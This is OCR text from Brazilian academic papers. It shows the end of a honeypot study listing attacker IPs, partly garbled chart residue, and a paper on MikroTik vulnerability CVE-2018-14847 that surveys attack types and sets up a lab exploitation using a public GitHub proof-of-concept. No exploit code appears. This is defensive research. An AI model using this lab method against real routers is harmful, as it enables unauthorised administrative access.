admin: 1234 R gy
pi: raspberryr..
B gq: 123
20 - -----f oo - - - - - - - e e eeeeeeoeeaoae-
20 - === -F o= - - - - - - - - - o e e eeeeeeeeo-ooao-

e i .

Fonte: Os Autores (2019).

Na Figura 9, sdo exibidas as estatisticas de ataques, por endereco
de rede e pais de origem que efetuou o ataque no honeypot cowrie.
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Figura 9 - Grafico demostrando os enderegos de redes que mais
efetuaram ataques honeypot cowrie

Kippo/Cowrie Top Attackers

134.19.187.75
I 5.188.86.168
5.188.87.58

]

o 1] < (] 1] i) ] © o
c =2 =2 2 SN o v U E=
] (=3 [ [l FEE T < c -
o BElIs © ESHiEN s © S B85
z BN=E === = = |=
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ool HoHl B C Ommm ©H0

Fonte: Os Autores (2019).

Na figura 9, tem-se os dez principais enderegos de rede que

efetuaram ataques ao servigo SSH, no ambiente real e seus paises
responsaveis. Pode-se notar um aumento na quantidade de ataques

efetuados pelos paises Holanda, Irlanda e Rissia. Os nomes dos paises
foram colocados na imagem para facilitar a leitura.
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Figura 10 - Mapa atualizado quase em tempo real das fontes
e alvos de ataques.

Fonte: Os Autores (2019).

O mapa acima demonstra a origem em tempo real dos ataques
que o servidor de producdo estd sofrendo. Também pode-se visualizar na
Figura 10 a longitude, altitude, cidade, pais e o sensor que capturou o
ataque.

7 CONSIDERAGOES FINAIS

Durante o desenvolvimento do trabalho, foram observadas algumas
dificuldades na implementacdo do honeypot honeyd e kippo, sendo as
principais a incompatibilidade da versdo do Linux e a falta de
documentacdo,dado que estas implementagcGes eram muito antigas. A
solucdo adotada foi a utilizacdo do Morden Honey Network, uma
implementacdo bem mais atualizada.

Ap6s a implementacédo da ferramenta Morden Honey Network e
aplicacdo de sensores no ambiente de producdo, houve um nimero muito
elevado de ataques no servico que estd sendo monitorado pelo sensor
cowrie, ficando bem acima dos sensores wordpot e dionaea. Os relatérios
gerados pela ferramenta Modern Honey Network ocorreram de forma
satisfatoria. A partir dos resultados obtidos nas sondagens, foi possivel
analisar os ataques e atingir os objetivos propostos com o experimento.
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Como trabalhos futuros, sugere-se o aprofundamento em estudo
e aplicacdo da plataforma Modern Honey Network, com suas funcgdes
configuradas mais avangadas em uma empresa de grande escala.
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Abstract. Each day, the number of Internet users worldwide increases.
Currently in Brazil the internet distribution through small and medium
providers has a significant share compared to the general numbers of the
sector. In the course of this work, a vulnerability in Mikrotik devices will
be presented which is widely used by these providers, where, if
successfully exploited the attacker will have full access to the system.An
attack in an exposed environment was simulated, which later The results
were analyzed in order to suggest configurations, techniques and
prevention methods, seeking to avoid damages to users and corporations
that make use of the tool.

Resumo. A cada dia que passa, aumenta o numero de usudrios de
Internet em todo mundo. E atualmente no Brasil a distribui¢do de
internet através de pequenos e médios provedores possui uma parcela
significativa diante dos numeros gerais do setor. Logo, no decorrer deste
trabalho sera apresentado uma vulnerabilidade em aparelhos da
Mikrotik, que é amplamente utilizado por esses provedores, onde, caso
tenha sucesso ao ser explorada o atacante terd acesso total ao sistema.
Foi simulado um ataque em um ambiente exposto, que posteriormente foi
analisado os resultados a fim de sugerir configuragoes, técnicas e formas
de prevengdo, buscando evitar danos a usuarios e corporagoes que fazem
o uso da ferramenta.

1 INTRODUCAO

Um conjunto de relatorios da Global Digital 2018, juntamente com a We
Are Social e Hootsuite revela que existem mais de 4 bilhdes de pessoas
em todo o mundo usando a Internet. Atualmente, mais da metade da
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populagdo mundial esta online, em um quesito especifico, quase um
quarto de bilhdo de novos usuarios entraram na Internet pela primeira vez
em 2017. A Africa registrou as maiores taxas de crescimento, o continente
aumentou em mais de 20% ao ano o nimero de usuarios (UIT, 2018).

Em um Férum Global da revista Fortune, o presidente
executivo da Cisco ¢ ex-CEO John Chambers disse que 500 bilhdes de
dispositivos estardo conectados a Internet até 2025. Ele também previu
que as tecnologias digitais, incluindo /o7, computagdo em nuvem e
movel, tornardo 40% das empresas no mundo hoje irrelevantes em 10
anos, ja que muitas empresas deixardo de acompanhar o ritmo acelerado
da inovagdo em tecnologia digital (VANIAN 2015).

A popularizagdo da Internet proporcionou iniimeras
facilidades, tais como: comunicar-se, enviar e receber arquivos e
documentos, entre outras funcionalidades essenciais, mas, a0 mesmo
tempo que esse crescimento proporciona essa globaliza¢do, também traz
consigo pontos bastante preocupantes, como os ataques cibernéticos, que
causam grandes problemas tanto ao usudrio final quanto as grandes
institui¢des. O nimero de usuarios de Internet cresceu 10 milhdes em um
ano no Brasil. Passou de 64,7% para 69,8% (181 milhdes da populacdo)
o numero de brasileiros com 10 anos ou mais que acessaram a Internet de
2016 para 2017. S2o quase 10 milhdes de novos usudrios na comparagao
entre o ultimo trimestre de cada ano (RODRIGUES, 2018).

No entanto, conforme relatorios do CERT.BR (2018),
sdo milhares de ataques cibernéticos diarios que visam encontrar usuarios
desatentos e também por sistemas mal gerenciados ou desatualizados. O
mesmo autor ainda descreve que um ataque de exploragdo de
vulnerabilidades ocorre quando um atacante, utilizando-se de uma
vulnerabilidade, executa a¢Ges maliciosas, como invadir um sistema,
acessar informagdes confidenciais, disparar ataques contra outros
computadores ou tornar um servico inacessivel.

Para que o atacante mal intencionado tenha sucesso, ¢
necessario algum descuido do usudrio ou que o sistema que estd sendo
monitorado tenha alguma vulnerabilidade para ser explorada. Um dos
primeiros registros de ataque foi em 1971, em que Bob Thomas criou o
“The Creeper”. O “Creeper” foi originalmente projetado para se replicar
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em mainframes que usavam o sistema operacional TENEX, usando a
ARPANET para se replicar em outros mainframes (PRADO, 2018).

A McAfee junto com o Centro de Estudos Estratégicos e
Internacionais (CSIS, Center for Strategic and International Studies),
realizaram uma pesquisa que constatou a ado¢ao de novas tecnologias por
cibercriminosos na realizagdo dos ataques no ultimos trés anos, que
geraram um prejuizo de quase US$ 600 bilhdes para as empresas,
representando 0,8% do PIB mundial (McAfee, 2018).

Apenas no primeiro semestre de 2018 foram detectados
120,7 milhdes /inks maliciosos em todo mundo, um aumento de 12% em
relacdo ao mesmo periodo do ano anterior. Como a cada ano que se passa
aumenta o numero de pessoas conectadas, o numero de armadilhas
também segue esse crescimento (PSAFE, 2018).

Para alcancar os resultados almejados este trabalho tem
como objetivo apresentar a vulnerabilidade conhecida como CVE-2018-
14847 e simular sua exploragdo, além de propor técnicas, configuragdes
e boas praticas necessarias para amenizar os riscos a seguranga do sistema.

2 REFERENCIAL TEORICO

Neste capitulo é abordado a legislagdo vigente sobre crimes cibernéticos,
os tipos de golpes mais comuns, como também apresenta formas de
ataques e codigos maliciosos que podem ser utilizados nestas agdes.

2.1 CRIMES CIBERNETICOS E LEGISLACAO CORRELATA

As acdes maliciosas por meio da internet podem ser classificadas em duas
categorias, Jorge e Wendt (2012) separam em agdes prejudiciais atipicas
e os crimes cibernéticos. As agdes prejudiciais atipicas, sdo aquelas
condutas que causam prejuizo ou transtorno para vitima por meio da rede
mundial de computadores, mas ndo sdo tipificados em lei. Por sua vez, os
crimes cibernéticos se dividem em “crimes cibernéticos abertos” e
“crimes exclusivamente cibernéticos”. Os “crimes exclusivamente
cibernéticos” sdo aqueles que necessariamente precisam do meio da
informatica para cometer tal crime.

Crimes virtuais puros englobam toda e qualquer conduta
fraudulenta cujo objetivo seja a violagdo da integridade fisica ou logica
do sistema computacional. Os crimes virtuais mistos sdo as condutas em
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que a utilizagdo de meios computacionais ¢ condi¢do necessaria para a
efetivacdo da conduta, onde o bem juridico lesado seja diverso do
informatico. Crimes virtuais comuns sdo aqueles em que os dispositivos
computacionais sdo utilizados apenas como instrumento para a realizagao
de um delito ja tipificado pela lei penal, constituindo-se em apenas mais
um meio de execugdo desses delitos, tal como ocorre nos seguintes crimes,
ja tipificados pela lei penal (CAMARA.GOV.BR 2016).

A Lei 12.683/12 acrescentou o artigo 17-B a Lei de lavagem de
dinheiro para permitir a requisi¢cao de dados cadastrais sem necessidade
de autorizagdo judicial & provedores de Internet. J4 a Lei 12.830/13,
explicitou o poder de requisi¢do de documentos pelo delegado de policia,
enquanto projeto de lei que aguarda san¢@o presidencial permite a
obtengdo destes dados cadastrais na investigacdo de organizacdes
criminosas.

Para Shariff. (2010, pg. 276) “... o ciberespaco se tornou um
verdadeiro lugar sem regras de civilidade virtuais claramente definidas...”.
Obviamente que ainda ha uma grande necessidade de legislagdo que
esteja mais alinhada com a nova realidade, alguns passos vém sendo
dados no Brasil, porém, ainda muito longe diante da expansdo da Internet,
diante de uma problematica mundial, um conflito entre a liberdade ¢ a
seguranga na rede.

Além de estabelecer principios, garantias, direitos e deveres para
os usuarios brasileiros, a Lei 12.965/2014, conhecida como Marco Civil
da Internet®, serve como forma de complementacdo nas atividades de
repressdo aos crimes cibernéticos. Apesar de ndo tratar da estrutura
investigativa, tampouco dos deveres dos provedores de Internet e servigos
quanto a cooperagdo para com as autoridades que investigam os delitos
digitais, o Marco Civil da Internet tipifica fatos cibernéticos (JESUS;
MILAGRE, 2016).

Os arts. 13 e 15 do Marco Civil da Internet estabelecem
obrigacdes para os provedores de acesso e de aplicacdes na guarda e no
fornecimento de registros de conexdo e de acesso a aplicagdes: 1 (um)
ano e 6 (seis) meses, respectivamente.

A Lei n° 12.965/2014 esclarece que os provedores de internet
somente serdo obrigados a fornecer os registros e informagdes que
permitem a identificagdo de usuario mediante ordem judicial. Da mesma
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forma, a remogao de contetudo s6 € possivel com mandado judicial, com
excecdo aos casos envolvendo imagens de nudez, situacdo na qual podera
ser solicitada a remocdo da foto por meio de notificagdo extrajudicial, que
devera ser atendida pelos provedores’ (JESUS; MILAGRE, 2016).

Deste modo, o usuario esta exposto a varios tipos de perigos na
rede mundial de computadores, golpes, ataques e cddigos maliciosos.

3 ENGENHARIA SOCIAL

Geralmente, atacar uma institui¢do nao € uma operacao simples e, por este
motivo, golpistas se especializam na exploracdo de fragilidades dos
usuarios. Utilizando métodos de engenharia social e por diferentes meios
e discursos, os criminosos procuram enganar € persuadir as provaveis
vitimas a fornecerem informagdes sensiveis ou a realizarem agdes, como
executar codigos maliciosos e acessar paginas falsas.

Em uma entrevista dada a revista Fonte, Mitnick (2007,
p. 24) ressalta:

“A influéncia humana pode ser usada para
0 que é conhecido como “engenharia social”, que
significa que vocé pode enganar, manipular ou
influenciar uma pessoa, uma vitima, para conseguir
que ela atenda uma solicitacdo, geralmente pessoas
confiaveis em uma organizagdo. Entdo, claro, se as
empresas ndo treinarem seus funcionarios sobre o que
¢é a engenharia social, sobre as diferentes abordagens
utilizadas pelos engenheiros sociais e treinar
funcionarios nas politicas de seguranga e motivi-los
a ndo quebrd-las sob qualquer circunstincia, as
empresas correm riscos de ser atacadas pela
engenharia social.”

Viérios ataques utilizam a engenharia social como meio de
enganar o usuario, onde geralmente o infrator faz uso da credibilidade de
grandes instituigdes, lojas e até paginas do governo e também de outros
orgdos publicos levando em consideragdo a confiabilidade das

"Provedores; fornecedores de acesso a Internet ou provedor de servico
Internet.

=Il INSTITUTO FEDERAL

Catarinense



66

informagdes ali contidas, fornecendo dados para criagio de uma
armadilha para a vitima.

3.1 GOLPES NA INTERNET

Com acesso aos dados das vitimas, os criminosos podem efetuar
transagOes financeiras, acessar sites de compras, enviar mensagens
eletronicas, abrir empresas fantasmas e criar contas bancarias ilegitimas,
entre outros atos maliciosos (CERT.BR, 2017).

Define-se furto de identidade, ou identity theft, o ato pelo qual
uma pessoa tenta se passar por outra, criando uma falsa identidade, com
a finalidade de obter vantagens inadequadas. Alguns casos de furto de
identidade podem ser considerados como crime contra a fé publica,
tipificados como falsa identidade (CERT.BR, 2017).

Outra variante deste ataque ¢ descrita por Cohen (2017), quando
a vitima ¢ induzida pelo atacante por meio de algum enredo a fornecer
dados ou a realizar pagamentos adiantados com a promessa de receber
uma recompensa futura. Um dos tipos dessa espécie de fraude ¢ o
chamado Golpe Nigeriano no qual a vitima recebe um e-mail com a
historia de um representante de uma familia, de um pais distante, que
encontra-se em dificuldade de tirar seus bens do pais e, para isso, seria
necessario o envio de uma quantia para que a documentagdo fosse
resolvida. A recompensa seria uma porcentagem da fortuna da familia
assim que o dinheiro fosse transferido para a conta da vitima.

Um ataque muito utilizado pela internet é o Phishing,
que ¢ uma forma na qual um invasor tenta adquirir de forma fraudulenta
informa¢des confidenciais de uma vitima ao se passar por um terceiro
confiavel. E o tipo de fraude por meio da qual um golpista tenta obter
dados pessoais e financeiros de um usuario, pela utilizagdo combinada de
meios técnicos e engenharia social, conforme Jagatic et al. (2005).

Sdo conhecidos como golpes de comércio eletrdnico
aqueles em que os criminosos tem como objetivo obter vantagens
financeiras. Eles exploram a relagdo de confianga existente entre as partes
envolvidas em uma transagdo comercial. Alguns destes golpes sdo
apresentados nas proximas se¢des (CERT.BR, 2017)

3.1.1 Golpe envolvendo sites de compras

Esta categoria de golpe, parte do principio da criagdo de um site de
comércio eletronico falso, com o objetivo especifico de enganar os
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possiveis clientes. Esses vdo fazer os pagamentos aos criminosos, que
consequentemente ndo realizardo a entrega da mercadoria ou a entrega
serd danificada, falsificada, com caracteristicas diferentes do anunciado
ou adquirida de forma ilicita e criminosa. Para aumentar os indices de
sucesso, o golpista costuma utilizar artificios como: enviar spam, usar
links patrocinados através de divulgacdo de produtos, anunciar descontos
em sites de compras coletivas e ofertar produtos muito procurados e com
precos abaixo dos praticados pelo mercado (CERT.BR, 2017).

Caso identifique uma tentativa de golpe, € importante notificar as
instituigdes envolvidas, para que possam tomar as providéncias que
julgarem cabiveis.

3.2 ATAQUES NA INTERNET

Quando se refere a ambiente Web, existem desde pequenos sites que
recebem alguns acessos por dia, como também grandes sites e portais
como: www.facebook.com.br, www.gl.globo.com, www.google.com.br,
www.uol.com.br, www.mercadolivre.com.br entre outros, que possuem
um volume de acesso gigante, podendo passar de 5.000.000 por dia
(LIMA, 2010).

Tanto os sites mais visitados, quanto os menos visitados, estdo
suscetiveis a possuirem algum tipo de vulnerabilidade, que, conforme a
definicdo da ABNT ISO/IEC 27002 (2005, p.3), ¢ uma “fragilidade de um
ativo ou grupo de ativos que pode ser explorada por uma ou mais
ameagas”, representando assim um ponto de falha. Nas palavras de
Marciano (2009), caracteriza-se como uma condig¢do, ou fragilidade, que
pode ser explorada por um atacante, ou alguma ameaga, que ao ser
explorada, pode resultar em uma violagdo de seguranca.

Existem varios motivos para o surgimento de vulnerabilidades.
Podem ser falhas de configuragdo de um programa ou implementagéo de
um software. Essas falhas podem ser corrigidas por meio de atualizagdes,
no entanto, sistemas que nao realizam atualizagdes podem se tornar
vulneraveis.

Para que o atacante consiga invadir um sistema, primeiramente
ele precisa fazer um reconhecimento do ambiente, entdo a técnica de
scanning ou varredura ¢ a fase ativa do reconhecimento. Aqui o atacante
interage diretamente com os sistemas-alvo, buscando conhecer o maximo
que puder sobre eles, sem atacé-los de forma ativa (WEIDMAN, 2014).
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McClure et. al (2014, pg48), definem: “a varredura é o
equivalente a inspecionar portas e janelas como pontos de entrada em
potencial.”

3.2.1 Sniffing

Citado por Petracioli (2008), Sniffing é a pratica que, utilizando uma
ferramenta genericamente chamada sniffer, intercepta e registra trafego
de dados e ¢ capaz de decodificar o contetido trocado entre computadores
de uma rede [...].

Um sniffer € um software que pode facilmente ser configurado
para capturar fluxos especificos, como sessdes de telefonia por Internet
ou de e-mail. Uma vez que o trafego ¢ capturado, os crackers conseguem
extrair informagdes confidenciais como [logins, senhas e textos de
mensagens.

Essa técnica pode ser utilizada de forma:

e Legitima: por administradores de redes, para detectar problemas,
analisar desempenho e monitorar atividades maliciosas relativas
aos computadores ou redes por eles administrados

e Maliciosa: por atacantes, para capturar informagdes sensiveis,
como senhas, nimeros de cartdo de crédito e o conteudo de
arquivos confidenciais que estejam trafegando por meio de
conexoes inseguras, ou seja, sem criptografia (CERT.BR, 2017).

3.2.2 Spoofing

Spoofing é uma técnica de falsificacdo tecnologica que busca enganar
uma rede ou uma pessoa levando-a a acreditar que a fonte de uma
informacao ¢ confidvel, quando na realidade ¢ o oposto. Por exemplo,
hackers podem fazer um spoofing de e-mail, enviando mensagens que
parecam vir de alguém em quem o usudrio confia, como forma de fazé-lo
fornecer dados sigilosos. Ou até mesmo realizar o spoofing de IP e DNS
para tentar fazer com que sua rede redirecione para sites fraudulentos que
vao infectar a maquina do usudario (AVAST, 2019).

e
=Il INSTITUTO FEDERAL

Catarinense



69

3.2.3 Falsificacéo de e-mail

A falsificagdo de e-mail, ou e-mail spoofing, consiste em uma técnica que
tem como fungdo alterar campos do cabegalho de um e-mail, de forma a
burlar o remetente, fazendo parecer que ¢ de alguém conhecido,
geralmente encaminhando a um endereco falso. Esta técnica ¢ possivel
devido a caracteristicas do protocolo SMTP (Simple Mail Transfer
Protocol) que permitem que campos do cabegalho, como "From:"
(endereco de quem enviou a mensagem), "Reply-To" (endereco de
resposta da mensagem) e "Return-Path" (enderego para onde possiveis
erros no envio da mensagem sdo reportados), sejam falsificados.

Ataques deste tipo sdo bastante usados para propagacdo de
codigos maliciosos, envio de spam e em golpes de phishing. Atacantes
utilizam-se de enderegos de e-mail coletados de computadores infectados
para enviar mensagens e tentar fazer com que os seus destinatarios
acreditem que elas partiram de pessoas conhecidas (CERT.BR, 2017).

3.2.4 Brute force

Este tipo de ataque provavelmente ¢ uma das formas mais antigas
de invasdo a um sistema, visto que consiste em tentar todas as possiveis
senhas (também conhecidas como chaves) até se identificar a correta e,
assim, conseguir acesso ao sistema. Conforme consta na cartilha
seguranga para Internet do CERT.BR (2016):

“Um ataque de for¢a bruta, ou brute force, consiste
em adivinhar, por tentativa e erro, um nome de
usuario e senha e, assim, executar processos e acessar
sites, computadores e servicos em nome e com 0s
mesmos privilégios deste usuario.”

3.2.5 Defacement

Defacement também pode ser chamado de deface e ainda tem quem se
refira a ele como “pichagdo”. Trata-se do nome que ¢ dado as pessoas
mal intencionadas que realizam altera¢des em paginas web.

Essas mudangas podem ser relacionadas aos contetudos existentes
na pagina, no caso de e-commerces, até mesmo a descri¢ao dos produtos
e valores, onde também, podem ser alterados aspectos graficos, como por
exemplo, a posi¢cdo do logo ou insercdo de outros elementos, como
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mensagens com os mais diversos objetivos, desde ativismo, posi¢des
politicas, vingangas pessoais de ex-funcionarios ou ainda desmoralizar
uma pessoa, negocio ou institui¢do (MARCOS FERREIRA, 2015 ).

3.2.6 DDoS - distributed denial of service

Um ataque volumétrico de negagdo de servigos distribuido (DDoS -
Distributed Denial of Service) ocorre tradicionalmente quando varios
dispositivos finais infectados, realizam ataques coordenados por uma
maquina mestre contra um alvo, a fim de afetar a disponibilidade de seus
recursos.

Esse tipo de ataque representa uma ameaca significativa a
empresas e organizagdes, pois estas sdo afetadas financeiramente. Além
do impacto financeiro, os ataques DDoS também podem ter motivagoes
politicas, como foi o caso do ataque DDoS executado pelos ciberativistas
da Anonymous contra o Banco Original em maio de 2017, o qual tornou
indisponivel o site da instituicdo. No primeiro trimestre de 2018, houve
1,4 milhdo de ataques DDoS no mundo inteiro, com duragdo média de 14
horas e pico de trafego de dados registrado em 153 Gbps (BORINI, 2018).

Os ataques DDoS volumétricos estdo relacionados a um volume
de dados muito grande, com alta dimensionalidade que dificulta a andlise
em tempo real. A maldi¢do da dimensionalidade, descrita por Bellman
em 1957 é um problema causado pelo aumento exponencial de volume
(BELLMAN, 1966).

3.3 CODIGOS MALICIOSOS

Malware, ou software malicioso, tem como fungdo auxiliar no acesso
indevido ao sistema computacional. Qualquer sofiware que exerca
atividade maliciosa e cause danos a um usuario de computador, pode ser
considerado malware. A maior parte se enquadram em virus, backdoor,
botnet, rootkit, scareware € worms (SIKORSKI; HONIG, 2012).

O Worm, também conhecido como verme, se instala na
memoria ativa do computador e tem a capacidade de replicar, criando
assim copias de si automaticamente sem a agdo do usuario. Rafael Novaes
(2014, p.29) define que:

“worm é a forma mais comum de malware que se
reproduz e utiliza um sistema operacional como uma
base que dissemina o codigo malicioso para outros
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computadores. Também exploram as falhas nas redes
para espalhar ameagas maiores”.

O Bot é um programa que possui um mecanismo de comunicagao
remota com o atacante. Os dispositivos infectados podem ser controlados
de forma remota. Possui processo de infecgdo e propagagéo similar ao do
worm, ou seja, € capaz de se propagar automaticamente, explorando
vulnerabilidades existentes em programas instalados em computadores
(CERT.BR, 2017).

Sacchetin (2008), cita que botnets sdo redes de computadores
interligados com bots e, sob o comando de um atacante, tende a ser a
maneira mais eficaz de realizar ataques DDoS.

O Spyware é um programa projetado para monitorar as atividades
de um sistema e enviar as informagdes coletadas para terceiros. Pode ser
usado tanto de forma legitima quanto maliciosa, dependendo de como é
instalado, das agdes realizadas, do tipo de informagdo monitorada e do
uso que ¢é feito por quem recebe as informacdes coletadas. Exemplos de
tipos especificos de programas spyware sdo keyloggers (para a captura e
armazenamento de teclas digitadas), screenloggers (para a captura e
armazenamento de tela e posi¢des de cursor) e adwares (para apresentar
propagandas diversas) (DIORIO et al 2018)

Nas palavras de Zhang e Paxon (2001, pg. 1)

“Um backdoor ¢ um mecanismo sub-repticiamente
introduzido no sistema de um computador para
facilitar o acesso ndo autorizado ao sistema. Embora
as backdoors possam ser instaladas para acessar
uma variedade de servigos, sdo de particular
interesse para a seguran¢a de rede pois fornecem
acesso interativo. Geralmente sdo instalados por
atacantes que comprometeram um sistema para
facilitar seu retorno subsequente ao sistema.”

O Cavalo de Troia € um tipo de malware que, frequentemente,
esta disfargado de software legitimo. Eles podem ser empregados por
criminosos virtuais para tentar obter acesso aos sistemas dos usuarios. Em
geral, os usudrios sdo enganados por alguma forma de engenharia social
para carregar e executar cavalos de troia em seus sistemas (LAUFER,
2005). De acordo com o site Cert.br (2017) um programa que, além de
executar as fungdes para as quais foi aparentemente projetado, também
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executa outras fungdes, normalmente maliciosas, e sem o conhecimento
do usuério.

Além dos malwares ja relacionados, que possuem como fungio
exercer atividades maliciosas, o Rootkit possui a fungdo de esconder e
assegurar a presenca de um invasor ou de outro c6digo malicioso em um
computador comprometido. Rootkits inicialmente eram usados por
atacantes que, apos invadirem um computador, os instalavam para manter
o acesso privilegiado, sem precisar recorrer novamente aos métodos
utilizados na invasdo, e para esconder suas atividades do responsavel e/ou
dos usuarios do computador. Apesar de ainda serem bastante usados por
atacantes, os Rootkits atualmente tém sido também utilizados e
incorporados por outros cddigos maliciosos, para ficarem ocultos e ndo
serem detectados pelo usuario e nem por mecanismos de protecao
(CERT.BR, 2017).

3.4 MIKROTIK

MikroTik ¢ uma empresa Letd fundada em 1996, localizada em Riga,
capital da Letonia. Como atividade, desenvolve roteadores e sistemas
para provedores de Internet Wireless, fornecendo hardware e software
para conectividade com a Internet. Em 1997 criou o sistema RouterOS
que fornece ampla estabilidade, controles e flexibilidade para todos os
tipos de interfaces de dados e roteamento. Possui revendedores na maior
parte do mundo e clientes em provavelmente todos os paises do planeta.
(MIKROTIK, 2019)

3.4.1 RouterOS

O Mikrotik RouterOS ¢ um sistema operacional que tem ganhado uma
expressiva participacdo no mercado de Tecnologia da Informacdo por
suas inimeras funcionalidades, robustez, estabilidade e, principalmente,
pela facilidade de uso. Baseado em Linux, o sistema pode ser instalado
em um PC comum ou embarcado em placas compactas SBC (Single
Board Computer), como por exemplo, as Routerboards fabricadas pelos
proprios desenvolvedores do Mikrotik RouterOS.

Uma das grandes caracteristicas que distinguem o Mikrotik de
outros sistemas concorrentes ¢ a facilidade que a interface de
configuragdo proporciona ao usuario/administrador de rede. Com
interface Web intuitiva, com poucos passos pode-se implementar
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complexas regras de Firewall, QoS, protocolos de roteamento dindmico e
etc.

O Winbox ¢é uma ferramenta de configuragdo do sistema
RouterOS, que proporciona aos usudrios o controle das fungdes do
roteador por meio de uma interface grafica mais simples e dinamica, que
permite acesso por telnet, ssh, sendo desenvolvido para plataformas
Windows e também pode rodar em Linux com o auxilio do wine®. Suas
fungdes sdo idénticas a outros tipos de roteadores, mas a propria empresa
disponibiliza as formas de uso do programa, para tornar tudo mais facil
(MIKROTIK, 2019).

Dados da Anatel, (2019)° mostram que de um total de acesso
através da banda larga fixa presente atualmente no pais, que giram em
torno de 32,9 milhdes, 28,5% desse montante, algo préximo de 9.4
milhdes, sdo referentes a pequenas empresas. Ja entre acessos via fibra e
wireless, somam 11,5 milhoes, 34,8 % do valor total dos acessos. 60,1%
desse total ¢ feito por pequenas empresas, totalizando 6,9 milhdes de
acessos. Isso mostra a presenga significativa dos equipamentos Mikrotik
no mercado brasileiro de distribui¢do de Internet, ja que a grande maioria
dos provedores de pequeno e médio porte fazem uso de equipamento
ligados a Mikrotik.

Com a relevancia da marca no mercado. demonstrada nos dados
ateriores, pode-se concluir que qualquer vulnerabilidade que venha a
atingir esses equipamento, se forem exploradas, podem gerar
instabilidade nos servigos e conexdes, e, consequentemente, prejuizos aos
provedores e aos usudrios em uma escala ainda maior.

3.5 VULNERABILIDADE CVE-2018-14847

Vulnerabilidades existem nos software, € podem ser encontradas e
exploradas por criminosos. Quando encontradas por equipes de empresas
de seguranca da informacdo, sdo classificadas como CVE (Commom
Vulnerabilities and Exposures).

8 programa que permite arquivos do Windows, rodarem no Linux
9 https://www.anatel.gov.br/paineis/acessos/banda-larga-fixa

10 https://cve.mitre.org/index.html
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A CVE ¢ formada por uma rede de colaboradores de diversas
organizagdes de tecnologia e seguranga, que criam listas de nomes
padronizados para vulnerabilidades e outras exposigdes de seguranca. O
objetivo da CVE ¢ padronizar as vulnerabilidades e riscos conhecidos,
facilitando assim a procura, o acesso e o compartilhamento de dados entre
diversos individuos e empresas. Mais do que uma lista, a CVE ¢é uma
espécie de dicionario sobre as vulnerabilidades encontradas no mundo
virtual. Essa ferramenta é mantida através de representantes de
organizacdes de seguranca, instituicdes académicas, governos e diversos
especialistas (ECOIT 2019). Dentre tantas, a CVE-2018-14847, objeto
deste trabalho, se caracteriza por permitir ignorar completamente a
autenticagdo ¢ obter controle administrativo irrestrito sobre um alvo
vulneravel sem exigir uma senha (INFOMACH, 2018)

No que diz respeito a este tipo de ataque, a gerente do Cert.br,
Cristine Hoepers, afirma que;

“Esse é um ataque que surgiu em 2018. Os dados dos
honeypots mostram, de forma complementar, que em
mar¢o do ano passado saimos de praticamente zero
varreduras contra a porta 8291 (do servico Winbox
do Mikrotik) para um pico que se mantém expressivo
até hoje. Os roteadores MikroTik sdo muito utilizados
por provedores de acesso, o que refor¢a a importancia
e necessidade da adogdo de boas praticas de
seguranga  para  os  sistemas — auténomos”
(COMPUTERWORLD, 2019)

E uma falha em que o sistema RouterOs aceita comandos sem 0
usudrio estar autenticado, podendo obter os usudrios e senhas de um
equipamento Mikrotik.

Esta vulnerabilidade atinge sistemas da empresa que se
encontram nas versdes 6.30.1 até a versdo 6.40.7, sendo resolvida esta
falha na versdao 6.40.8.

A falha ‘CVE-2018-14847’, foi descoberta em abril de 2018 e
corrigida pela fabricante, mas isso ndo significa necessariamente que os
proprietarios de roteadores aplicaram as atualizagdes necessdrias para a
resolucdo do problema, de forma que ainda podem existir diversos
dispositivos vulneraveis em empresas e residéncias (RIGGS 2018).
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4 MATERIAIS E METODOS

4.1 CLASSIFICAGCAO DA PESQUISA

Neste capitulo é abordada a classificagdo da pesquisa, com o
objetivo de descrever seu tipo e como ela sera aplicada.

Em um contexto geral, Gil (2007, p. 17), define pesquisa como:

(...) procedimento racional e sistemdtico que tem
como objetivo proporcionar respostas aos problemas
que sdo propostos. A pesquisa desenvolve-se por um
processo constituido de varias fases, desde a
formulacdo do problema até a apresentagio e
discussdo dos resultados.

No que se refere a natureza da pesquisa, esse trabalho se
classifica como pesquisa aplicada, que ¢é identificada como um método
que gera conhecimentos para aplicagdo pratica, com o intuito de buscar
solu¢do de problemas especificos. Conforme Thiollent (1997, p.49), “A
pesquisa aplicada concentra-se em torno dos problemas presentes nas
atividades de institui¢des, organizagdes, grupos ou atores sociais. Ela esta
empenhada na elaboragdo de diagndsticos, identificagdo de problemas e
busca de solucdes”.

Quanto a abordagem, a pesquisa se define como qualitativa,
mediante uma percepcao mais intensa em relacdo a determinado assunto.
Este tipo de pesquisa, de natureza exploratéria tem como objetivo
proporcionar maior familiaridade com o problema e em relagdo aos
experimentos. De acordo com Gil (2007), o procedimento experimental
consiste em determinar um objeto de estudo, selecionar as variaveis que
seriam capazes de influencia-lo, definir as formas de controle e de
observagdo dos efeitos que a variavel produz no objeto.

4.2 MATERIAIS

Fez-se necessario a instalagdo do VirtualBox, onde através dele é possivel
virtualizar diversos sistemas sem a necessidade de alteracdo do sistema
do host hospedeiro. O sistema operacional Kali Linux na sua distribui¢do
2019.2, foi emulado através do VirtualBox Versdo 6.0.12, utilizando um
computador Notebook com processador core i3 -7020u 2.30GHz, 4Gb de
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memoria RAM, 1TB de HDD, com sistema operacional nativo Windows
10 64 Bits e uma RouterBoard 750, com o sistema RouterOS 6.36.

Inicialmente, foi instalado o sistema operacional Kali Linux com
2Gb de memoria RAM, 2 CPUs das 4 CPUs.

Como parte principal da exploracdo do ataque, foi utilizado o
script em linguagem Phyton (linguagem de programagao de alto nivel),
que esta disponivel no site GitHub
(https://github.com/BasuCert/ WinboxPoC/).

4.3 PROCEDIMENTOS METODOLOGICOS

A maquina virtual com S.O. Kali Linux conectou-se a rede local
acessando RouterBoard, por meio da placa de rede do hospedeiro,
configurada em modo bridge, permitindo sua conex@o a rede como um
host diretamente conectado ao cabo.

O enderegamento IP foi obtido por meio do protocolo DHCP,
sendo enderecado com o IP 192.168.6.200 de mascara 255.255.255.0 no
sistema Kali-linux, emulado pelo VirtualBox.

J& a RouterBoard com o IP 192.168.6.2 de mascara
255.255.255.0, equipamento esse com sistema RouterOS, como
demonstrado na figura 1 a seguir.

Figura 1 - Estrutura de rede mostrando comunicagéo entre

dispositivos
KALI-LINUX RB750-MikroTik
IP: 192.168.5.200/24 IP: 192.168.6.2/24

Fonte: Elaborado pelos autores, 2019.

Apds serem realizadas as configura¢des acima, foi possivel haver
comunicacdo entre os equipamentos, podendo-se, assim, explorar a
vulnerabilidade em questao.

